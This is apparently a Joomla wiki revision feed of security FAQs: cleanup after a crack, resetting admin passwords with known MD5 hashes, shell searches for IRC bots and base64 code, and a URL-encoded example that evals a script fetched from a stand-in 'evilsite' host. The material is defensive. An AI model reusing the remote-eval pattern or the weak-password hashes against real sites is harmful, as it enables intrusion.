# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12{{JVer|1.0}}. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62366</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62366"/>
		<updated>2011-09-26T22:55:22Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Should PHP run as a CGI script or as an Apache module? */ dormant&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:&#039;&#039;&#039;  If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
